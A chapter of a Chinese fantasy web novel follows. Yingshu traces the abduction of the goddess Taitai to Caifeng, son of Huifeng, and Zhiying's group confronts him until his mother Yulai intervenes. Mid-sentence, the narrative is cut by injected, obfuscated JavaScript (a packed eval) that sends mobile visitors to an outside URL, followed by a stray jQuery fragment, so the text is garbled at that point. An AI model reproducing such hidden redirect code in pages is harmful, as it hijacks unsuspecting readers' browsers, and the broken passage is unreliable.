红蛇地的夜晚极其漫长,刚到黄昏时分,天色就像铺了地毯般不见一丝光亮。
惠风一家正其乐融融地吃晚饭,猛心却突然来报。
“大人,麒麟家主来了。”
惠风放下筷子,内心有些惊愕,转头望向夫人:“英舒许久不曾和我往来,又没有拜帖,怎么会突然造访?”
裁风听此心中暗道不妙,在孔雀地跟在那女子身边打转的,不就是麒麟家主的儿子吗?
难道他对苔苔做的事情败露了?
裁风不敢确定,又不想因此惊扰父母,只能悄悄一探究竟。
“父亲大人先忙,我陪母亲吃饭即可。”
惠风摆摆手,“你母亲素来细嚼慢咽,让她继续吃着,至于你嘛,你是我唯一的孩子,英舒大老远从神地赶来,为了不失礼数,还是由你陪我见客。”
裁风心有小九九,但也不敢不从,只能默默祈祷自己与此事无关。
英舒在大堂等了没一会,惠风就现身恭维起来。
二人许久未见,英舒若不是为了儿子的事,他们这对冤家也不知会冷战到什么时候。
惠风知道责任在他,所以老远就摆出了宽和的姿态,笑意相迎,努力化解过去的矛盾。
“麒麟家主大驾光临,有失远迎,猛心,快点看茶。”
惠风大大方方地迎接英舒上座,时隔多年,二人终于上了同一张桌子。
英舒面色还和过去一样冷淡,惠风心里也有些拿不准他的来意。
曾经他们也算是无话不谈,只是为了孩子的事情闹得不太愉快,说起来都是小事,或许今日英舒上门,就是为了解开彼此的心结,恢复往常的关系。
这样想着,惠风更加大度体贴了一些,“红蛇地不比神地气候宜人,苦热难耐,你这一路上辛苦了。”
“哪里哪里?红蛇地从前就是试炼场,神地的神明大多在此修炼,就像回了老家一样,自然不会不适。”
英舒望着眼前人,想起在当年太一大人带着神地众神在此地研学搏斗时的情景。
神明轰轰烈烈地参加试炼,并且以此为荣,若是谁能在试炼中胜出,就是无上的荣耀。
一杯茶饮,尽饶是再有追忆年华的欲望,也得适时终止了。
英舒今天来这里,可不是为了叙旧的。
“惠风,许久不见令郎了,也不知道他近况如何?
“裁风刚从外头回来不久,风尘仆仆,说是要换身衣服再来相见。”
已经过去好一会了,惠风环顾四周,还不见裁风人影,于是吩咐边上的猛心,“去瞧一瞧,嘱咐他不要贪凉,免得伤身。”
“令郎倒是一如既往的矜贵,不像我儿,三个拳头打不倒。”英舒想起从前稚英被落在温泉池中整整三个时辰,出来以后也不吵也不闹的,照样生龙活虎。
稚英这孩子,哪哪都好,要是能少和自己作对的话,简直可以当个模范儿子。
惠风心里不悦,又偏偏对此无法反驳,只好转移话题,“英舒啊,你我之间不如有话直说,你今天来,不会是找我叙旧的吧!”
看来是没必要兜圈子了,英舒直接从怀中递出了红蛇粘液粉末。
“此粉你可还记得?”
惠风接过粉末后,只瞟了一眼,就确定是碎星红蛇的粘液粉末。
“这我哪能忘,从前你我不是老爱用这个和众神明斗智斗勇的吗?”惠风忆及过往种种,心防少了一半。
“是的呀,我当年还不曾见过此物,还是你跟我讲这东西可以迷晕神明!”
“嗯,当年试炼场竞争重重,到了后期大家都像疯了一样往前冲,有了这个粉末的加持,我们才能杀出重围,获得了试炼的第一名。”
从前的荣光历历在目,想及此,惠风不由开怀大笑,可没开心一会,他突然紧张起来,“你不会是来问我借这个的吧!”
“借?”英舒脑子转的飞快,“要是真借,又当如何?”
惠风瞥了瞥英舒,连连摇头,“那可不是我说了算,现在碎星红蛇大多进入了成年期,极少蜕皮,当年剩下的一些,我已全全交给裁风保管。”
“都交给令郎了,那岂不是旁人拿不到了?”英舒故作疑问,“整个红蛇地除了令郎旁人都没有了吗?”
惠风不疑有他,“你就看吧,别说红蛇地,即便是神地,也不会有一星半点,全在我儿子手上呢!”
“那旁人拿的到吗?”
“拿不到,他可宝贝了,藏的深,连我都不知道在哪里。”
英舒了然地点了点头,沉默不语。
也许是红蛇的本性,他嗅到了一丝不同寻常的意味,“你今天怎么对粉末这么上心!”
英舒叹了口气,“本来我还有些怀疑,但听你这么一说,此事确实和令郎有些关系,孔雀地的神明苔苔,不久前被人用此物迷晕了,那位神明目前下落不明,我们也是没办法才找来找你。”
“不可能,裁风不会做那种事,他很少外出,根本不认识旁人,你只凭一点粉末就找上门来,难道阿猫阿狗丢了都要找我们算账吗?”
“我当然是相信令郎的人品,可你刚刚自己也说了,这包红色粉末只有裁风有!”
惠风这才反应过来嘴上吃亏了,内心大骂,好一个英舒,又在给他下套。
他恼羞成怒,蹭的一声站起来,连带着桌上的杯子都抖了三抖,“简直是诽谤,不管怎么样,裁风与她无冤无仇,何故要绑了她。”
“如果他是为了帮你报仇呢?”英舒拍拍惠风的肩膀,轻叹:“你的遭遇我已知情,班穹和他的女儿禧平在山底下囚禁了你这么多年,纵使你答应不再追究,难保裁风没有怨念,你消失的这些年,她们母子也不会太好过。”
惠风低着头,双手握得紧紧,蔓延的愤怒直冲脑壳,他垂下眼眸尽量冷静道:“班穹父女确实罪该万死,我也是生生咽下了这口气,只因为我答应过一个人,不再追究这件事。可是裁风他毕竟年轻,一时冲动……”
“今年孔雀地成神的不止一位,裁风到了孔雀地后,想收拾班穹也要看清楚对象。”英舒突然拔高了声音,正视惠风,“他绑走的不是班穹的女儿,而是那个无权无势的可怜女子,也是舍命救你出火海的孔雀小仙,苔苔。”
“苔苔?”惠风连连摇头,不敢置信,“不,救我的不是苔苔,而是瑶光,难道……”
英舒点点头,“苔苔就是瑶光!”
惠风震惊许久,颤颤巍巍地坐在椅子上,随后突然醒悟:“猛心!猛心!”
“属下在!”猛心一直候在旁边,凭惠风吩咐。
“赶紧把那个逆子带过来!我有话问他!”
……
一直在门口偷听的裁风这才意识到自己绑错了人。
深恶痛绝的人一眨眼变成了救命恩人,裁风懊恼无比,不知该怎么交代。
眼下有愤怒的父亲、生死不明的救命恩人,这下是真的闯祸了。
裁风转念一想,还是将此事告知母亲,寻找一个解决办法!
就在裁风要蹑手蹑脚离开时,一道道陌生的声音从不远处传来。
“哟,大晚上的,这位小哥上哪去?”
是谁,悄无声息地埋伏在暗处,连他都没注意到。
裁风一转身,春神正叉着腰似笑非笑地紧紧盯着自己。
“我道是谁?与你春神何干?竟敢擅闯红蛇地!”
“行啊,我可以让开,可你想走,还要经过他们的同意。”
春神长腿跨向一边,逆着光,黑暗中又出现了一魁梧之人。
裁风定睛一看,竟是水神若耶氏。
“强霸!”
“不只是我!”
裁风紧张地环顾四周,她们究竟来了多少人,还有谁?
“嗒、嗒……”
脚步声乘风而来,可周围的高耸壮阔的杨柳树却诡异地停止摆动,裁风的心提到了嗓子眼,那股厚重又不同寻常的气息,夹带要湮灭一切之意,令人汗毛倒立。
许久未曾有过的熟悉感,来自遥远的从前,每一场非生即死的斗争。
那人步步紧逼,春神、强霸也紧随其后,三人从黑暗中渐渐步入,月亮冲破云层,裁风眼前的一切都清晰起来,强大的压迫感,犹如风卷残云般扑面而来。
三个神明,却恐怖如鬼魅。
裁风从来没有这么害怕过,他拖着几乎不受控制的腿脚一步步后退,稚英却没给他逃脱的机会,迅速上前无情地死死捏住了裁风的脖子。
“她在哪?”
“我不知道!”
稚英的手收得更紧,裁风无力反抗,脸憋得通红。
“住手!有话好好说!”
英舒一出门,就见到了这令人窒息的一幕,现在的稚英是他从未见过的愤怒焦灼,再不到苔苔,杀意和自责会摧毁这个骄傲的男人。
“是啊是啊!贤侄,苔苔的事情我已全知晓,你放心,我一定全力配合你们找到她!”
惠风吓得心肝儿乱窜,他只有裁风一个宝贝儿子,可眼下儿子的命
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464509|169800||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
却被拿捏在别人手上。
“他不说实话,叫我如何放了他!”
就在大家僵持不下时,另一个人隐藏在黑暗中,默默观察着的人,终于现身了。
“他确实什么都不知道!”
这声音在场所有人都不陌生,他们的脑海中,同时映出一个温柔冷静的人来。
这是?
稚英朝声音的方向望去,果然是她!红蛇地的主母,惠风的妻子,裁风的母亲。
而她也是,稚英的启蒙老师。
在幼年时期,那个教导他读书写字,学习人生道理的老师。
在启蒙老师面前,稚英思索再三,最终还是放开了裁风,他无法在自己老师面前杀死她唯一的儿子。
裁风侥幸逃脱一劫,像得了水的鱼,又活了过来。
“猛心,还不快把这逆子押解大牢,没有我的吩咐不得外出。”惠风此话一出,未等众人反应过来,猛心就拉着裁风跑出了二里地。
开玩笑,现在大牢,才是最安全的地方。
稚英一言不发,充满戒备,他双眼布满血丝,紧盯着羽莱。
他在等她先开口。
羽莱内心感慨稚英这孩子,还是一如既往的倔强。
她败下阵来。
“我知道今天,你若得不到满意的答复,是不会离开的。”
“所以你准备如何答复我?”
“苔苔在小碎河附近的一个秘境中。”
稚英没有全信,羽莱为了给儿子裁风脱困,说不定会故意编造事实。
羽莱洞悉人心,当然明白稚英的顾虑,她解释道:“我拿启蒙老师的师格发誓,句句属实。不过,小碎河的秘境极少有人踏足,那里广阔但气候变化极端,非常不适宜生存。”
“秘境变幻多端,包罗万象,若是没有门路,定会碰壁。”稚英总觉得老师话里有话,内心防备未消。
“门路自然是有的,不过……”
一如稚英所料,羽莱开始讲条件。
“我要你答应我一件事,无论找不得到苔苔,你都不会回来找裁风的麻烦。”
听她一番话,春神当下翻起了白眼,强霸也无语地拿手松懈自己的鼻梁,二人皆认为,这是不可能的,不符合稚英的一贯作风。
“你凭什么觉得你能说服我!”
稚英愤怒到了极点,羽莱三言两语就想摆平一切吗?就算是下一秒苔苔出现在自己面前,也难掩裁风对苔苔犯下的罪孽。
而且经此一事,自己恨不得当场将裁风千刀万剐,若是苔苔有个三长两短,定要让裁风血债血偿。
“因为我要告诉你一个关于苔苔生死的秘密,你听了,若是觉得不值得,再发火不迟。”
……
稚英与羽莱离开了,留下一院子的人大眼瞪小眼。
一盏茶后,春神左右难安,她摸着墙偷听,逐渐焦虑起来:“强霸,她俩说什么悄悄话呢!生呀死呀这么严重,有什么是我们不能听的。”
强霸摊摊手:“我也猜不到,早知道把小溪带来,这个家伙耳朵好使!”
春神又不客气地指向惠风,“你们夫妻一条心,你知道内模吗?”
惠风利落地摇摇头,“我从不过问羽莱的事,她心思单纯,挺好猜的。”
“好猜,你倒是猜啊!有什么秘密能说这么久,再不走黄花菜都凉了。”春神毫不客气的白了惠风一眼,“都是你儿子干出来的好事!”
“哎!世事难料,本来我也是个受害者,我的腰被浩天大锁扣了那么多年,伤口将将养好,本想下个月携一家老小去孔雀地拜望苔苔,结果发生了这种事。”惠风拍了拍桌子,“苔苔要是有个三长两短,我也没脸见人了。”
“呸呸呸,一张嘴我就知道你说不出什么好赖话来,想不通,怎么当初羽莱选了你没选英舒!”春神发起火来,新仇旧恨一起算,翻旧账她可是一把好手。
春神此言一出,英舒抢着辩解,他最怕家里不安生了。
“可别乱传,我郑重申明稚儿他母亲是我最坚定的选择,再有流言蜚语,我还回得去神地吗?”
“想当年……”
“你胡说……”
“让她说完……”
三个人叽叽喳喳的,直吵得强霸头痛欲裂,正当他不知所措时,稚英和主母羽莱一同出来了。
相比羽莱,稚英的面色不算太轻松,戾气却消散了一些,所有人都看出来,那个秘密,让稚英答应了羽莱的要求。
究竟是什么?